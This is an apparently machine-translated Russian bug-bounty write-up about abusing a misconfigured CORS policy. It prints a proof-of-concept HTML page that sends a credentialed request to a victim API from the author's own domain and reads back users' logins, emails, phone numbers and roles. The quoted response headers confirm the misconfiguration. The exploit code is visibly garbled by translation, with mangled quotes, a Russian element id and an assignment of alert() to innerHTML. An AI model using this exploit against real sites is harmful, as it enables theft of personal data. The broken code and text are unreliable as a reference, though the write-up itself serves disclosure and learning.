Давайте начнем с совместного использования ресурсов Cross Origin. Ниже показано, как работает CORS.
Я охотился на частном сайте, во время обнаружения контента я замечал все запросы и ответы, в то время я заметил, что приложение использует заголовок «Origin» в запросе.
а что такое исходный заголовок?
Заголовок запроса Origin указывает, откуда происходит выборка. Он не включает никакой информации о пути, а только имя сервера. Он отправляется с запросами CORS, а также с запросами POST.
поэтому я заменил значение заголовка Origin на имя и путь моего домена, которые содержат код для использования cors.
cors.html - это код эксплойта для использования неправильно сконфигурированного CORS.
код эксплойта как ниже.
‹! DOCTYPE html›
‹html›
‹head›
‹script›
function cors () {
var xhttp = new XMLHttpRequest ();
xhttp.onreadystatechange = function () {
if (this.readyState == 4 && this.status == 200) {
document.getElementById (демонстрация). innerHTML = alert (this.responseText );
}
};
xhttp.open (GET, https://www.victim.com/api/user?version=show_with_logins ', true);
xhttp.withCredentials = true;
xhttp.send ();
} ‹/script› ‹/head›
‹body onload =” cors () ”›
‹Center›
‹h2› CORS POC Exploit armaan ‹/h2›
‹h3› Извлечение SID ‹/h3› ‹div id =” demo ”›
‹button type =» button ”Onclick =” cors () ”› Exploit ‹/button› ‹/div› ‹/body› ‹/html›
как вы можете заметить на скриншоте
Access-Control-Allow-Origin: http://www.armaanpathan.pe.hu/cors.html
Access-Control-Allow-Credentials: true
это позволяло мне / злоумышленнику украсть личную информацию / данные пользователя жертвы
поэтому после этого я открыл http://www.armaanpathan.pe.hu/cors.html в браузере, чтобы посмотреть, могу ли я получить данные пользователя или нет.
и когда я нажал на эксплойт и проверил сетевую консоль
код эксплойта собирал такую информацию, как имя пользователя, адрес электронной почты, номер телефона, роль пользователя и другую конфиденциальную информацию.
Спасибо за прочтение.
Надеюсь, вам всем это понравилось,
использованная литература
geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/